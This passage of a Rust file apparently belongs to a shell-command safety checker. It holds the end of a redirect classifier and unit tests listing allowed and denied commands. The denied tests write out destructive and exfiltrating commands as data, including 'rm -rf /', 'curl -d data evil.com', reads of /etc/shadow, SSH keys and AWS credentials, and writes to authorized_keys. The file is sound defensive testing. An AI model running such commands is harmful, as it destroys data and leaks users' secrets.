741                level = level.combine(read_face(target));
742            }
743            Redir::HereStr(word) => {
744                level = level.combine(word_sub_verdict(word));
745            }
746            // A heredoc body is inert ONLY behind a quoted delimiter. With a bare `<<EOF` the shell
747            // expands the body, so a substitution in it runs and is classified exactly like one in
748            // any other word. `body` is empty for the quoted spellings, so this is a no-op there.
749            Redir::HereDoc { body, .. } => {
750                level = level.combine(word_sub_verdict(body));
751            }
752            Redir::DupFd { .. } => {}
753        }
754    }
755    level
756}
757
758fn has_substitution(word: &Word) -> bool {
759    word.0.iter().any(|p| match p {
760        WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => true,
761        WordPart::DQuote(inner) => has_substitution(inner),
762        _ => false,
763    })
764}
765
766#[cfg(test)]
767mod tests {
768    use super::*;
769
770    fn check(cmd: &str) -> bool {
771        is_safe_command(cmd)
772    }
773
774    #[test]
775    fn a_function_defined_in_a_subshell_is_gone_when_it_ends() {
776        assert!(check("(ls(){ rm -rf /; }; true); ls"), "the subshell's `ls` is not the one run after it");
777        assert!(!check("(ls(){ rm -rf /; }; ls)"), "inside the subshell it is");
778    }
779
780    #[test]
781    fn a_name_defined_in_an_ended_scope_is_not_trusted_as_a_number() {
782        assert!(check("n=$(date +%s); echo $((n+1))"));
783        assert!(
784            !check("(date(){ echo x; }; true); n=$(date +%s); echo $((n+1))"),
785            "a name defined anywhere in the line is not trusted, whatever scope defined it"
786        );
787    }
788
789    #[test]
790    fn an_argument_that_may_split_moves_every_later_one_to_an_unknown_place() {
791        assert!(check("f(){ cat \"$2\"; }; f a ./ok"));
792        assert!(check("f(){ cat \"$2\"; }; f \"$X\" ./ok"), "quoted, it stays one word");
793        assert!(check("f(){ cat \"$2\"; }; IFS=,; f a ./ok"));
794        assert!(check("f(){ cat \"$2\"; }; f 'a b' ./ok"), "single-quoted, a space is not a split");
795        let moved = [
796            "f(){ cat \"$2\"; }; f $X ./ok", "f(){ cat \"$2\"; }; f x$X ./ok", "f(){ cat \"$2\"; }; f $(pwd) ./ok",
797            "f(){ cat \"$2\"; }; f $(echo a) ./ok", "f(){ cat \"$2\"; }; f \"$@\" ./ok", "f(){ cat \"$2\"; }; f {a,b} ./ok",
798            "f(){ cat \"$2\"; }; f *.x ./ok",
799        ];
800        let approved: Vec<&str> = moved.into_iter().filter(|c| check(c)).collect();
801        assert!(approved.is_empty(), "approved with `$2` read from the wrong place: {approved:?}");
802    }
803
804    #[test]
805    fn the_fuzz_input_that_exhausted_memory_is_refused_quickly_in_both_layers() {
806        let seed = String::from_utf8_lossy(include_bytes!("../../fuzz/corpus/explain_render/seed-oom-c54"));
807        let started = std::time::Instant::now();
808        assert!(!is_safe_command(&seed));
809        assert!(!crate::cst::explain(&seed).is_allowed());
810        assert!(started.elapsed() < std::time::Duration::from_secs(5), "{:?}", started.elapsed());
811    }
812
813    #[test]
814    fn many_sources_stay_cheap_and_a_plain_command_after_them_is_judged_as_before() {
815        let started = std::time::Instant::now();
816        let sourced = ". ./a; ".repeat(64) + "ls";
817        assert_eq!(is_safe_command(&sourced), is_safe_command(". ./a; ls"));
818        assert!(started.elapsed() < std::time::Duration::from_secs(5), "{:?}", started.elapsed());
819    }
820
821    #[test]
822    fn loop_variable_inherits_the_list_locus() {
823        // A worktree `in`-list → the body reads/writes the worktree → allowed. The bare `$f`
824        // used to fail-closed to machine; now it binds to the list, like find's `{}`→path.
825        for cmd in [
826            "for f in ./*.txt; do cat \"$f\"; done",
827            "for f in ./*.txt; do rm \"$f\"; done",
828            "for f in src/*.rs; do grep foo \"$f\"; done",
829            "for f in ./*.log; do sed -i s/a/b/ \"$f\"; done",
830            "for f in a b c; do cat $f.bak; done",
831            "for x in 1 2 3; do rm $x; done",
832            "for d in a b; do for f in $d/x; do cat $f; done; done", // nested loops compose
833        ] {
834            assert!(check(cmd), "worktree loop should allow: {cmd}");
835        }
836        // A system / credential / unpinnable `in`-list → deny (the body could touch it).
837        for cmd in [
838            "for f in /etc/*; do cat $f; done",
839            "for f in /etc/*.conf; do rm $f; done",
840            "for f in ~/.ssh/*; do cat $f; done",
841            "for f in $LIST; do rm $f; done",
842            "for f in $(find / -name x); do rm -rf $f; done",
843            // nested: the inner list inherits the outer binding, so the body reads ~/.ssh/id_rsa
844            "for d in ~/.ssh; do for f in $d/id_rsa; do cat $f; done; done",
845            // read-worst ≠ write-worst: reading must worst-case the credential store even though
846            // the write-worst item is /etc/hosts — a single representative would be unsound.
847            "for f in /etc/hosts ~/.aws/credentials; do cat $f; done",
848            // A glob can match a file named `-n` or `--files0-from=x.txt`, and an unquoted use
849            // splits a name at its blanks: either puts a flag where the command reads one.
850            "for f in *.txt; do cat \"$f\"; done",
851            "for f in *.txt; do rm $f; done",
852            "for f in src/*.rs; do grep foo $f; done",
853            "for f in -delete; do find / $f; done",
854            "for f in -delete; do find / \"$f\"; done",
855        ] {
856            assert!(!check(cmd), "non-worktree loop should deny: {cmd}");
857        }
858    }
859
860    safe! {
861        grep_foo: "grep foo file.txt",
862        jq_key: "jq '.key' file.json",
863        base64_d: "base64 -d",
864        ls_la: "ls -la",
865        wc_l: "wc -l file.txt",
866        ps_aux: "ps aux",
867        echo_hello: "echo hello",
868        cat_file: "cat file.txt",
869
870        version_go: "go --version",
871        version_cargo: "cargo --version",
872        version_cargo_redirect: "cargo --version 2>&1",
873        help_cargo: "cargo --help",
874        help_cargo_build: "cargo build --help",
875
876        dev_null_echo: "echo hello > /dev/null",
877        dev_null_stderr: "echo hello 2> /dev/null",
878        dev_null_append: "echo hello >> /dev/null",
879        dev_null_git_log: "git log > /dev/null 2>&1",
880        fd_redirect_ls: "ls 2>&1",
881        stdin_dev_null: "git log < /dev/null",
882
883        env_prefix: "FOO='bar baz' ls -la",
884        env_prefix_dq: "FOO=\"bar baz\" ls -la",
885        env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
886
887        subst_echo_ls: "echo $(ls)",
888        subst_ls_pwd: "ls `pwd`",
889        subst_nested: "echo $(echo $(ls))",
890        subst_quoted: "echo \"$(ls)\"",
891        assign_subst_ls: "out=$(ls)",
892        assign_subst_git: "out=$(git status)",
893        assign_subst_multiple: "a=$(ls) b=$(pwd)",
894        assign_subst_backtick: "out=`ls`",
895
896        assign_bare_lit: "foo=bar",
897        assign_bare_int: "x=1",
898        assign_bare_empty: "x=",
899        assign_bare_dq: "x=\"foo bar\"",
900        assign_bare_sq: "x='foo bar'",
901        assign_bare_param: "rc=$?",
902        assign_bare_var: "x=$y",
903        assign_bare_dollar_var_braced: "x=${y}",
904        assign_bare_path: "PATH=/foo",
905        assign_bare_multiple: "a=1 b=2 c=3",
906        assign_bare_arith: "x=$((1 + 2))",
907        assign_in_for_body: "for i in 1 2; do x=1; done",
908        assign_rc_in_for_body: "for i in 1 2; do echo $i; rc=$?; done",
909        assign_rc_in_while_body: "while test -f /tmp/x; do rc=$?; sleep 1; done",
910        assign_rc_in_if_body: "if test -f foo; then rc=$?; fi",
911        assign_then_use: "x=1; echo $x",
912        assign_chained_with_safe: "x=1 && ls",
913        assign_subshell: "(x=1)",
914        assign_in_subshell_with_cmd: "(x=1; ls)",
915
916        // A loop over a BOUNDED substitution. These are the positive half of the substitution
917        // rule: the deny corpus only asserts that hot roots are refused, which a blanket refusal
918        // would satisfy vacuously — so without these, reverting `loop_reprs` to its old
919        // `__SAFE_CHAINS_` prefix test would silently re-deny the whole form and stay green.
920        loop_over_bounded_sub_write: "for f in $(fd a app/); do echo hi > $f; done",
921        loop_over_pwd: "for f in $(pwd); do cat $f; done",
922        loop_over_pwd_quoted: "for f in $(pwd); do cat \"$f/x\"; done",
923        loop_over_pwd_pipeline: "for f in $(pwd | head -3); do cat $f; done",
924
925        case_single_arm: "case x in x) echo a;; esac",
926        case_alternation: "case $x in a|b) ls;; *) echo n;; esac",
927        case_paren_prefixed_pattern: "case \"$1\" in (start) ls;; (stop) pwd;; esac",
928        case_last_arm_without_terminator: "case x in x) echo a; esac",
929        case_empty_body: "case x in x) ;; esac",
930        case_multiline: "case \"$1\" in\n  start)\n    ls -la\n    ;;\n  *)\n    echo usage\n    ;;\nesac",
931        case_in_substitution: "echo $(case A in *) echo a;; esac)",
932        case_nested_in_if: "if true; then case x in a) ls;; esac; fi",
933        clobber_redirect: "ls >| out.txt",
934        clobber_redirect_fd: "ls 1>| out.txt",
935        readwrite_redirect: "ls <> f.txt",
936        readwrite_redirect_devnull: "ls <> /dev/null",
937
938        subshell_echo: "(echo hello)",
939        subshell_ls: "(ls)",
940        subshell_chain: "(ls && echo done)",
941        subshell_pipe: "(ls | grep foo)",
942        subshell_nested: "((echo hello))",
943        subshell_for: "(for x in 1 2; do echo $x; done)",
944
945        pipe_grep_head: "grep foo file.txt | head -5",
946        pipe_cat_sort_uniq: "cat file | sort | uniq",
947        chain_ls_echo: "ls && echo done",
948        semicolon_ls_echo: "ls; echo done",
949        bg_ls_echo: "ls & echo done",
950        newline_echo_echo: "echo foo\necho bar",
951
952        stdin_read_from_path: "wc -l < /tmp/foo.log",
953        stdin_read_in_subst: "while [ $(wc -l < /tmp/x) -lt 10 ]; do sleep 5; done",
954        stdin_read_in_for_body: "for i in 1 2; do cat < /tmp/x; done",
955
956        here_string_grep: "grep -c , <<< 'hello,world,test'",
957        heredoc_cat: "cat <<EOF\nhello world\nEOF",
958        heredoc_quoted: "cat <<'EOF'\nhello\nEOF",
959        heredoc_strip_tabs: "cat <<-EOF\n\thello\nEOF",
960        heredoc_no_content: "cat <<EOF",
961        heredoc_pipe: "cat <<EOF | grep hello\nhello\nEOF",
962
963        for_echo: "for x in 1 2 3; do echo $x; done",
964        for_empty_body: "for x in 1 2 3; do; done",
965        for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
966        for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
967        while_test: "while test -f /tmp/foo; do sleep 1; done",
968        while_negation: "while ! test -f /tmp/done; do sleep 1; done",
969        until_test: "until test -f /tmp/ready; do sleep 1; done",
970        if_then_fi: "if test -f foo; then echo exists; fi",
971        if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
972        if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
973        nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
974        bare_negation: "! echo hello",
975        keyword_as_data: "echo for; echo done; echo if; echo fi",
976
977        quoted_redirect: "echo 'greater > than' test",
978        quoted_subst: "echo '$(safe)' arg",
979
980        redirect_to_file: "echo hello > file.txt",
981        redirect_append: "cat file >> output.txt",
982        redirect_stderr_file: "ls 2> errors.txt",
983        redirect_bidirectional_write: "cat < /tmp/x > /tmp/y",
984        env_rails_redirect: "RAILS_ENV=test echo foo > bar",
985        jj_diff_redirect_chain: "jj diff -r 'master..@' --context 5 > /tmp/review_diff.txt && wc -l /tmp/review_diff.txt",
986
987        arith_basic: "echo $((1 + 2))",
988        arith_with_var: "ln=5; prev=$((ln - 1))",
989        arith_nested_parens: "echo $(( (1 + 2) * 3 ))",
990        arith_in_dquote: "ln=5; echo \"line $((ln - 1))\"",
991        arith_in_for_loop: "for i in 1 2; do echo $((i * 10)); done",
992
993        dbracket_eq: "[[ \"a\" == \"a\" ]]",
994        dbracket_neq: "[[ \"a\" != \"b\" ]]",
995        dbracket_file_test: "[[ -f /tmp/file ]]",
996        dbracket_string_empty: "[[ -z \"$var\" ]]",
997        dbracket_string_nonempty: "[[ -n \"$var\" ]]",
998        dbracket_regex: "[[ \"$x\" =~ ^[0-9]+$ ]]",
999        dbracket_and: "[[ \"$x\" == \"y\" && \"$z\" == \"w\" ]]",
1000        dbracket_or: "[[ \"$x\" == \"a\" || \"$x\" == \"b\" ]]",
1001        dbracket_negation: "[[ ! -f /tmp/done ]]",
1002        dbracket_safe_subst: "[[ \"$(echo hello)\" == \"hello\" ]]",
1003        dbracket_in_until: "until [[ \"a\" == \"b\" ]]; do sleep 1; done",
1004        dbracket_in_while: "while [[ -f /tmp/lock ]]; do sleep 1; done",
1005        dbracket_in_if: "if [[ \"a\" == \"a\" ]]; then echo yes; fi",
1006        dbracket_after_chain: "true && [[ \"a\" == \"a\" ]]",
1007        dbracket_gh_run_view_poll: "until [[ \"$(gh run view 12345 --json status --jq .status)\" == \"completed\" ]]; do sleep 30; done",
1008        dbracket_redirect_devnull: "[[ -f /tmp/x ]] > /dev/null",
1009        dbracket_redirect_stderr_devnull: "[[ -f /tmp/x ]] 2> /dev/null",
1010        dbracket_redirect_dupfd: "[[ -f /tmp/x ]] 2>&1",
1011        dbracket_redirect_devnull_chain: "[[ -f /tmp/x ]] 2>/dev/null && echo found",
1012        dbracket_redirect_to_file: "[[ -f /tmp/x ]] > /tmp/out.txt",
1013    }
1014
1015    denied! {
1016        rm_rf: "rm -rf /",
1017        curl_post: "curl -X POST https://example.com",
1018        node_foreign_app: "node /tmp/app.js",
1019
1020
1021        // The loop inherits the substitution's locus, so a hot root reaches the body's `$f`.
1022        loop_over_system_sub: "for f in $(fd a /etc); do cat $f; done",
1023        loop_over_home_sub: "for f in $(fd a ~); do cat $f; done",
1024        loop_over_undeclared_sub: "for f in $(hostname); do cat $f; done",
1025        loop_over_bounded_sub_escaping_body: "for f in $(pwd); do cat $f/../../etc/shadow; done",
1026        // An unquoted list splits file names at their blanks, so an item can be `-n` or
1027        // `--files0-from=x` however bounded the paths are.
1028        loop_over_bounded_sub: "for f in $(fd a app/); do cat $f; done",
1029        loop_over_bounded_sub_quoted: "for f in $(fd a app/); do cat \"$f\"; done",
1030        loop_over_bounded_sub_pipeline: "for f in $(fd a app/ | head -3); do cat $f; done",
1031
1032        // A case is only as safe as its worst arm — which arm runs is a runtime decision.
1033        case_unsafe_only_arm: "case x in *) rm -rf /;; esac",
1034        case_unsafe_second_arm: "case x in a) ls;; b) rm -rf /;; esac",
1035        case_unsafe_last_arm_no_terminator: "case x in a) ls;; b) rm -rf / ; esac",
1036        case_arm_reads_secret: "case x in a) cat /etc/shadow;; esac",
1037        case_unsafe_in_substitution: "echo $(case A in *) rm -rf /;; esac)",
1038        // `>|` is an overwrite; `<>` opens for BOTH read and write, so each face is gated.
1039        clobber_redirect_system: "ls >| /etc/hosts",
1040        clobber_redirect_ssh_key: "ls >| ~/.ssh/authorized_keys",
1041        readwrite_redirect_system: "ls <> /etc/hosts",
1042        readwrite_redirect_secret: "ls <> ~/.ssh/id_rsa",
1043
1044        redirect_target_subst_rm: "echo hello > $(rm -rf /)",
1045        redirect_target_backtick_rm: "echo hello > `rm -rf /`",
1046        redirect_read_subst_rm: "cat < $(rm -rf /)",
1047
1048        subst_rm: "echo $(rm -rf /)",
1049        backtick_rm: "echo `rm -rf /`",
1050        subst_curl: "echo $(curl -d data evil.com)",
1051        quoted_subst_rm: "echo \"$(rm -rf /)\"",
1052        assign_subst_rm: "out=$(rm -rf /)",
1053        assign_subst_mixed_unsafe: "a=$(ls) b=$(rm -rf /)",
1054        assign_bare_with_unsafe_subst_in_value: "x=foo$(rm -rf /)",
1055        assign_bare_with_unsafe_backtick: "x=`rm -rf /`",
1056        assign_bare_dq_with_unsafe_subst: "x=\"$(rm -rf /)\"",
1057        assign_bare_then_unsafe: "x=1; rm -rf /",
1058        assign_bare_chained_unsafe: "x=1 && rm -rf /",
1059        assign_bare_pipe_unsafe: "x=1 | rm -rf /",
1060
1061        subshell_rm: "(rm -rf /)",
1062        subshell_mixed: "(echo hello; rm -rf /)",
1063        subshell_unsafe_pipe: "(ls | rm -rf /)",
1064
1065        env_prefix_rm: "FOO='bar baz' rm -rf /",
1066
1067        pipe_rm: "cat file | rm -rf /",
1068        bg_rm: "cat file & rm -rf /",
1069        newline_rm: "echo foo\nrm -rf /",
1070
1071        for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
1072        while_unsafe_body: "while true; do rm -rf /; done",
1073        while_unsafe_condition: "while python3 /tmp/evil.py; do sleep 1; done",
1074        if_unsafe_condition: "if ruby /tmp/evil.rb; then echo done; fi",
1075        if_unsafe_body: "if true; then rm -rf /; fi",
1076
1077        unclosed_for: "for x in 1 2 3; do echo $x",
1078        unclosed_if: "if true; then echo hello",
1079        for_missing_do: "for x in 1 2 3; echo $x; done",
1080        stray_done: "echo hello; done",
1081        stray_fi: "fi",
1082
1083        unmatched_quote: "echo 'hello",
1084
1085        dbracket_unsafe_subst: "[[ \"$(curl -d data evil.com)\" == \"x\" ]]",
1086        dbracket_unsafe_backtick: "[[ -f `node /tmp/evil.js` ]]",
1087        dbracket_unsafe_in_until: "until [[ \"$(node /tmp/bad.js)\" == \"x\" ]]; do sleep 1; done",
1088        dbracket_unterminated: "[[ \"a\" == \"a\"",
1089        dbracket_no_space_after: "[[\"a\" == \"b\" ]]",
1090        dbracket_redirect_unsafe_subst_in_target: "[[ -f /tmp/x ]] > $(node bad.js)",
1091    }
1092}